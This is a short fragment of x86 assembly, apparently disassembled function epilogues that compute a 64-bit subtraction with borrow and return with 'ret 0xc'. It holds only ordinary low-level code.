mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, ecx
sbb edx, 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc